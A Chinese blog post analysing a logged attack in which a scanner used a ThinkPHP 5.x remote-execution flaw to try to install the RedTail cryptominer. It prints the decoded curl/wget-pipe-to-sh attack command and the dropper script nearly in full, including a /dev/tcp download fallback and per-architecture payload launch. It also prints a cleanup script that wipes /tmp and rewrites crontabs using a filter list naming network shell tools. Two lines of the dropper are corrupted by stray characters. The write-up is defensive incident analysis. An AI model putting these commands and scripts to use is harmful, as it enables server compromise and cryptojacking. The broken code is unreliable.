SakaGHP Blog

2024年12月14日发现的攻击行为分析

(最新編輯:
Saka

记录网站运行中的发现的一些迷惑请求。其实这个只是冰山一角,只是我确实没有多少时间整理,就先上载这个吧。(彼时因为技术有限,没有检查各访问请求体之机会。后续发现该病毒试探 phpunit 时还附带指令请求体)

2024年12月14日解析攻击记录

  今天照常检视日志的,又发现一个试图访问敏感目录的家伙。像这样拼命探索敏感位置的家伙,我们一般回复一个“200”一切正常的讯号,然后在返回的内容里面狂飙脏话炮轰这些黑客——其实现在也有,不过缩减了范围而已,专门针对 BotPoke 系列的家伙,虽然他们还没过来扫描我们。
  这样坚持了几天没什么效果,于是就觉得无聊了,把返回大多数改回了应有的404。不过我们使了个心眼——因为我们看到他请求的内容有md5、hello等字样,于是我们就在配置文件和服务器做了个约定——如果看到参数有hello的,就返回hello的MD5摘要,hi、Hello同理,于是今天倒是是抓到了一些不大对劲的情况——攻击来了,有人试图往我们的公网主机植入挖矿病毒。

异常内容截图

  我们当然不怕他,因为我们的开站程序压根就没有足够的权限满足请求,返回的200只不过就是一句“啊对对对”而已。:吃瓜:

  首先看看今日的日志节选,上图给出了涉及攻击行为的最最关键内容,此前同一IP多次试图访问敏感内容,发起大量请求,除去因为没有使用HTTPS被打回的301之外,剩下的被全数被我方服务器软体以404为由打回。我们检索得到的情报显示,此IP来自缅甸,使用的作业系统可能是 CentOS,SSH 默认22号端口公网暴露,开设1194、16028两个端口,主机身份不明,有可能是被武器化的失陷主机。不过主机是谁不重要,我比较关心的是攻击者的攻击手段,以及脚本和病毒的行为。

  先前的日志告诉我们,攻击者试图找出我们的(带有漏洞的)PHPUnit后台,失败,然后才到上图给出的请求链接,听到了一个“200”的回应,立马开始攻击。它给我们的感觉是:这个家伙先猜测我们有采用PHPUnit,然后检索PHPUnit失败,就检索ThinkPHP。最后还真就被他“发现”了一个可以返回相当正常的结果(200)的链接。他大概大喜过望,然后迫不及待地使用了ThinkPHP存在的一个漏洞试图执行Shell。(网上检索资料显示,ThinkPHP 5.x 的 invokeFunction 接口存在漏洞,可远程执行指令。) 他后续访问的链接正是去请求让我们的服务器执行一定指令。指令经过URL转码,转回原始字符串后,我们得出它试图执行的指令是:

1
X=$(curl http://【某IP位址】/sh || wget http://【某IP位址】/sh -O-); echo "$X" | sh -s thinkphp.selfrep

  即:下载某IP位址的 sh 文件并执行,而且是利用输出和变量执行的——这或许是为了避免因读写鉴权失败导致的下载失败和执行错误,也可能是为了避免留下文件痕迹。检索得知,这个IP位址,来自德国。

  我对这个病毒比较感兴趣,于是我就尝试下载了这个sh文件,完整源代码(但隐去IP、添加注释),具体分析过程见下。

  总体而言,黑客试图在我站试图造访了PHPUnit和ThinkPHP,发现ThinkPHP“似乎有所回应”——即回应了一个Hello的MD5,然后黑客就试图利用漏洞执行脚本,让我站服务器启动挖矿程序。脚本首先进行鉴权,看看现有权限可以操作什么目录,然后尝试创建测试文件打探风声,发现一个可以被拿来安营扎寨的地方就赶紧请来清理大师混进原住民当中为非作歹,为狂军指路,同时清除异见(c3pool_miner),恭迎病毒来到应许之地。
  病毒过来的方法也很简单——如果是可以明确知道CPU架构的,那就OK,下载病毒直接运行,不能的就全都尝试一次,四个都不行那就真是没有地利人和了,耶稣都没办法。
  运行的病毒文件是.redtail。RedTail是一个挖矿程序,挖矿即利用服务器硬件来无休止地替人做题赚钱,让服务器“007”为黑客打工,而且收益全部归黑客所有,服务器及其主任没有报酬。

  不过我个人目前还没了解 .redtail 会执行什么样的操作,这玩意我也暂时不想也不敢轻举妄动——毕竟网上似乎也已经有有关解说了,而且我手上的资源实在有限,所以我就把样本移交给相关专业的同学就算了。


我的简单分析过程

(注意:除了开头的指定 shell 的“注释”以外,其余注释全部由 Sakarwei 加注)
sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# Saka 注:这个脚本是在输出和变量中运行的,不依附于文件。
#!/bin/bash

dlr() { # 下载
wget http://【某IP】/$1 || curl -O http://【某IP】/$1
# ↑尝试获取文件
if [ $? -ne 0 ]; then
# 如果获取失败,则利用系统功能建立TCP连线,发起HTTP请求替代下载行为
exec 3<>"/dev/tcp/【某IP】/80"
echo -e "GET /$1 HTTP/1.0\r\nHost: 【某IP】\r\n\r\n" >&3
(while read -r line; do [ "$line" = $'\r' ] && break; done && cat) <&3 >$1
exec 3>&-
# ↑关闭连线
fi
}

# 鉴权部分:了解用户不能操作的所有目录并避开
NOEXEC_DIRS=$(cat /proc/mounts | grep 'noexec' | awk '{print $2}')
EXCLUDE=""

for dir in $NOEXEC_DIRS; do
EXCLUDE="${EXCLUDE} -not -path \"$dir\" -not -path \"$dir/*\""
done

FOLDERS=$(eval find / -type d -user $(whoami) -perm -u=rwx -not -path \"/tmp/*\" -not -path \"/proc/*\" $EXCLUDE 2>/dev/null)
ARCH=$(uname -mp)
OK=true

# 尝试发见一个可以给恶意软体安家的地方,testfile 是先行探路者
for i in $FOLDERS /tmp /var/tmp /dev/shm; do
if cd "$i" && touch .testfile && (dd if=/dev/zero of=.testfile2 bs=2M count=1 >/dev/null 2>&1 || truncate -s 2M .testfile2 >/dev/null 2>&1); then
rm -rf .testfile .testfile2
break
fi
done

# 试图下载 clean,稍后分析涉事脚本
dlr clean
chmod +x clean
sh clean >/dev/null 2>&1
rm -rf clean

rm -rf .redtail
# 发现一个应许质地,然后混入原住民中,准备迎接病毒来到应许之地。
# 其中只有 x86_64、i686、aarch64、arm7 四种架构CPU的设备才有对应的病毒软体
if echo "$ARCH" | grep -q "x86_64" || echo "$ARCH" | grep -q "amd64"; then
dlr x86_64 # 从服务器下载病毒
mv x86_64 .redtail # 重命名,下同
elif echo "$ARCH" | grep -q "i[3456]86"; then
dlr i686
mv i686 .redtail
elif echo "$ARCH" | grep -q "armv8" || echo "$ARCH" | grep -q "aarch64"; then
dlr aarch64
mv aarch64 .redtail
elif echo "$ARCH" | grep -q "armv7"; then
dlr arm7
mv arm7 .redtail
else
OK=false # 不OK,那就全部都尝试一次,忽略错误
for a in x86_64 i686 aarch64 arm7; do
dlr $a
cat $a >.redtail
chmod +x 其实.redtail
./.redtail $1 >/dev/null 2>&1 # 执行
rm -rf $a
done
fi

# 如果一切顺利,则在服务器内安营扎寨,开始挖矿,迫害CPU内存网络服务器软硬件。
if [ $OK = tr其实ue ]; then
chmod +x .redtail
./.redtail $1 >/dev/null 2>&1 # 执行
fi

# 注:关于“$1”部分,还记得上面黑客试图执行的指令吗?或许其后方的“thinkphp.selfrep”就是这里的“$1”。

里面提及了一个脚本,叫作 clean
我也下载了一份并分析,大概就是关停 c3pool_miner(另一挖矿病毒) 、清剿系统缓存目录 和 系统日程表。

clean:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/bin/bash

clean_crontab() {
chattr -ia "$1"
grep -vE 'wget|curl|/dev/tcp|/tmp|\.sh|nc|bash -i|sh -i|base64 -d' "$1" >/tmp/clean_crontab
mv /tmp/clean_crontab "$1"
}

systemctl disable c3pool_miner
systemctl stop c3pool_miner

chattr -ia /var/spool/cron/crontabs
for user_cron in /var/spool/cron/crontabs/*; do
[ -f "$user_cron" ] && clean_crontab "$user_cron"
done

for system_cron in /etc/crontab /etc/crontabs; do
[ -f "$system_cron" ] && clean_crontab "$system_cron"
done

for dir in /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly /etc/cron.d; do
chattr -ia "$dir"
for system_cron in "$dir"/*; do
[ -f "$system_cron" ] && clean_crontab "$system_cron"
done
done

clean_crontab /etc/anacrontab

for i in /tmp /var/tmp /dev/shm; do
rm -rf $i/*
done

一些补充

后续我们也对其它信息进行了对比:

  • 对有关IP(病毒存放点IP):我们认为他或许有伪造服务器运行信息之嫌疑——Telnet 取得的 400 回报,和 Curl 取得的 404 回报返回的Nginx版本不一致。
    疑点:不一致的返回信息
  • 对有关IP:出现的日期显示,含义尚未明确,可能是失陷时间或 Nginx 更新时间吗?(其实也可能没有关联)
    日期含义?
  • 请求对比:疑似出自同一扫描脚本或软体,甚至可能出自同一组织(注:二者 UserAgent 均为「Custom-AsyncHttpClient」):
    请求链接对比
    (左侧为12月14日,右侧为12月8日)

©2014~2025 Sakarwei
除非另有声明,本站内容採用 CC BY-NC-SA 4.0 方式授權。
頁末出現本字段之頁面,採用 Hexo 輔助生成